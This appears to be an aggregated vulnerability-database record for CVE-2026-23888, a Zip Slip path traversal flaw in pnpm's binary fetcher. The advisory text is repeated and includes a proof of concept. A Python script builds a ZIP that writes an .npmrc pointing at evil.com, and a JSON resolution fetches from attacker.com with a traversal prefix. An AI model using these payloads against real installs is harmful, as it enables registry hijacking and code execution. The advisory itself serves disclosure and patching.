{"id":"CVE-2026-23888","aliases":["ALPINE-CVE-2026-23888","EUVD-2026-4655","GHSA-6pfh-p556-v868"],"status":"published","title":"pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0045,"percentile":0.3956,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-23","CWE-426"],"published":"2026-01-26T21:02:49Z","modified":"2026-11-03T06:33:01Z","fixes":[{"ecosystem":"npm","package":"pnpm","fixed_in":["10.28.1"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"pnpm","fixed_in":["10.33.4-r0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.28.1"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.33.4-r0"}]}]},{"source":"osv","ecosystem":"npm","package":"pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.28.1"}]}]}],"products":[{"vendor":"pnpm","product":"pnpm"}],"references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.1","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23888","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6pfh-p556-v868"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-23888","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23888.json","tags":["advisory"]},{"url":"https://github.com/pnpm/pnpm","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-23888","title":"pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T21:37:17.483Z","modified":"2026-01-27T21:41:06.094Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22","CWE-23","CWE-426"],"updated_at":"2026-11-02T13:42:15.603999Z"}],"euvd":[{"id":"EUVD-2026-4655","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T21:37:17Z","modified":"2026-01-27T21:41:06Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:48:46.818498Z"}],"ghsa":[{"id":"GHSA-6pfh-p556-v868","title":"pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)","description":"### Summary\n\nA path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`.\n\n### Details\n\nThe vulnerability exists in the binary fetching and extraction logic:\n\n**1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)**\n\nAdmZip's `extractAllTo` does not validate entry paths for path traversal:\n\n```typescript\nconst zip = new AdmZip(buffer)\nconst nodeDir = basename === '' ? targetDir : path.dirname(targetDir)\nconst extractedDir = path.join(nodeDir, basename)\nzip.extractAllTo(nodeDir, true)  // Entry paths not validated!\nawait renameOverwrite(extractedDir, targetDir)\n```\n\nA ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`.\n\n**2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)**\n\nThe `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction:\n\n```typescript\nconst extractedDir = path.join(nodeDir, basename)\n// If basename is '../../evil', this points outside nodeDir\n```\n\n### PoC\n\n**Attack Vector 1: ZIP Entry Path Traversal**\n\n```python\nimport zipfile\nimport io\n\nzip_buffer = io.BytesIO()\nwith zipfile.ZipFile(zip_buffer, 'w') as zf:\n    # Normal file\n    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\\necho \"legit node\"')\n    # Malicious path traversal entry\n    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\\n')\n\nwith open('malicious-node.zip', 'wb') as f:\n    f.write(zip_buffer.getvalue())\n```\n\n**Attack Vector 2: Prefix Traversal via malicious resolution:**\n\n```json\n{\n  \"resolution\": {\n    \"type\": \"binary\",\n    \"url\": \"https://attacker.com/node.zip\",\n    \"prefix\": \"../../PWNED\"\n  }\n}\n```\n\n### Impact\n\n- All pnpm users who install packages with binary assets\n- Users who configure custom Node.js binary locations\n- CI/CD pipelines that auto-install binary dependencies\n- Can overwrite config files, scripts, or other sensitive files leading to RCE\n\nVerified on pnpm main @ commit `5a0ed1d45`.","status":"published","published":"2026-01-26T21:02:49Z","modified":"2026-01-28T16:18:12Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23","CWE-426"],"updated_at":"2026-11-02T14:39:20.563096Z"}],"nvd":[{"id":"CVE-2026-23888","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T22:15:56.047Z","modified":"2026-06-17T10:22:15.717Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22","CWE-23","CWE-426"],"updated_at":"2026-11-02T14:12:04.769088Z"}],"osv":[{"id":"ALPINE-CVE-2026-23888","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T22:15:56.047Z","modified":"2026-11-03T06:33:01.768749098Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2026-23888","title":"pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T21:37:17.483Z","modified":"2026-10-28T02:30:48.730547303Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23","CWE-426"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-6pfh-p556-v868","title":"pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)","description":"### Summary\n\nA path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`.\n\n### Details\n\nThe vulnerability exists in the binary fetching and extraction logic:\n\n**1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)**\n\nAdmZip's `extractAllTo` does not validate entry paths for path traversal:\n\n```typescript\nconst zip = new AdmZip(buffer)\nconst nodeDir = basename === '' ? targetDir : path.dirname(targetDir)\nconst extractedDir = path.join(nodeDir, basename)\nzip.extractAllTo(nodeDir, true)  // Entry paths not validated!\nawait renameOverwrite(extractedDir, targetDir)\n```\n\nA ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`.\n\n**2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)**\n\nThe `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction:\n\n```typescript\nconst extractedDir = path.join(nodeDir, basename)\n// If basename is '../../evil', this points outside nodeDir\n```\n\n### PoC\n\n**Attack Vector 1: ZIP Entry Path Traversal**\n\n```python\nimport zipfile\nimport io\n\nzip_buffer = io.BytesIO()\nwith zipfile.ZipFile(zip_buffer, 'w') as zf:\n    # Normal file\n    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\\necho \"legit node\"')\n    # Malicious path traversal entry\n    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\\n')\n\nwith open('malicious-node.zip', 'wb') as f:\n    f.write(zip_buffer.getvalue())\n```\n\n**Attack Vector 2: Prefix Traversal via malicious resolution:**\n\n```json\n{\n  \"resolution\": {\n    \"type\": \"binary\",\n    \"url\": \"https://attacker.com/node.zip\",\n    \"prefix\": \"../../PWNED\"\n  }\n}\n```\n\n### Impact\n\n- All pnpm users who install packages with binary assets\n- Users who configure custom Node.js binary locations\n- CI/CD pipelines that auto-install binary dependencies\n- Can overwrite config files, scripts, or other sensitive files leading to RCE\n\nVerified on pnpm main @ commit `5a0ed1d45`.","status":"published","published":"2026-01-26T21:02:49Z","modified":"2026-02-03T03:06:45.887995Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23","CWE-426"],"updated_at":"2026-11-02T15:46:39.965326Z"}]}}